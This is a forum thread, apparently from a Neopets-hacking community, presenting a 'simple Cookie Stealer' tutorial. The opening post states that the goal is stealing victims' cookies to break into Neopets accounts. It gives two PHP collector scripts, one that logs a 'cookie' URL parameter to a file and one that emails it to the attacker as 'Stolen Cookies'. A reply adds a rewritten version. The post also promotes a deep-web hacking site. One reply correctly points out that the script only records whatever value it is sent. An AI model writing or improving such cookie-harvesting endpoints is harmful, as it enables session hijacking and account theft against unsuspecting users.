Results 1 to 4 of 4

Thread: [php] INTRODUCTION - A simple Cookie Stealer

  1. #1
    Poe's Avatar
    Joined
    Nov 2012
    Posts
    135
    Pronouns
    Any
    Userbars
    3
    Thanks
    31
    Thanked
    47/30
    DL/UL
    170/0
    Mentioned
    23 times
    Time Online
    8d 22h 5m
    Avg. Time Online
    3m

    [php] INTRODUCTION - A simple Cookie Stealer

    Hello blokes and welcome to my first English tutorial for Clraik.
    Oh sorry if my english is a little shite (with a British twist chap). Would you like to help me? :sad:
    Anyroad let's go to the guide.

    First...
    Wot the bloody hell is this blighter thing chap? Well A CG (Cookie grabber) or CS (Cookie Stealer) is a link that a victim can click and it grabs the saved data (cookies) that are in his computer, including usarnames or passwords. It can be used to steal cookies and hack into Neopets accounts.

    Now WOT the fucking hell do I do with this blighter?
    Oh well here is the simple cs code to store in a file:
    PHP Code:
    <?php
    $cookie 
    $HTTP_GET_VARS["cookie"];
    $steal fopen("cookiefile.txt""a");
    fwrite($steal$cookie ."\\n");
    fclose($steal);
    ?>
    $cookie = $HTTP_GET_VARS["cookie"]: This grabs the cookies from the url (stealer.php?cookie=x) and store it on $cookie variable.

    $steal = fopen("cookiefile.txt", "a"): Open the cookiefile in append mode so that we can append the grabed cookies.

    fwrite($steal, $cookie ."\\n"); This will store the grabbed cookies on the file cookies.txt


    And there is another version (I preffer this one)

    PHP Code:
    <?php
    $cookie 
    $HTTP_GET_VARS["cookie"]; mail("[email protected]""Stolen Cookies"$cookie); 
    ?>
    the cookies will store on "yourbloodyemail" kay



    This is just a veryvery simple and basic "introduction" guide, and it won't work on Neopets, but if you are interested REALLY then study it for yourself.

    There is a LOVELY site great for studying about hacking on deepweb. Enjoy it. <3
    (REQUIRES tor brwoser)
    (you need an account to see links)
    Last edited by Poe; 01-26-2013 at 12:39 AM. Reason: grammar ��

  2. The Following User Says Thank You to Poe For This Useful Post:

    fairydust201 (01-26-2013)

  3. #2

    Joined
    Jul 2012
    Posts
    717
    Userbars
    3
    Thanks
    105
    Thanked
    201/114
    DL/UL
    24/0
    Mentioned
    88 times
    Time Online
    22d 22h 4m
    Avg. Time Online
    7m
    Whoa... I've heard about the deepweb, but I've never visited it...

  4. #3
    Zachafer's Avatar
    Joined
    Dec 2011
    Posts
    1,235
    Userbars
    11
    Thanks
    769
    Thanked
    1,466/678
    DL/UL
    98/0
    Mentioned
    512 times
    Time Online
    24d 13h 9m
    Avg. Time Online
    8m
    The first snippet using file_put_contents:
    PHP Code:
    <?php

    if(@$_REQUEST['cookie'])
        
    file_put_contents('cookiefile.txt', @$_REQUEST['cookie'].PHP_EOLFILE_APPEND);

    ?>

  5. #4
    Josh's Avatar
    Joined
    Dec 2011
    Posts
    415
    Userbars
    2
    Thanks
    25
    Thanked
    378/143
    DL/UL
    82/6
    Mentioned
    120 times
    Time Online
    17d 9h 48m
    Avg. Time Online
    5m
    Im late as hell.

    But "cookie stealer" is not the right phrase for this script. All this does is write to a text file. Make the "cookie" varible "taco", and it writes the word taco. This has nothing to do with stealing cookies.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •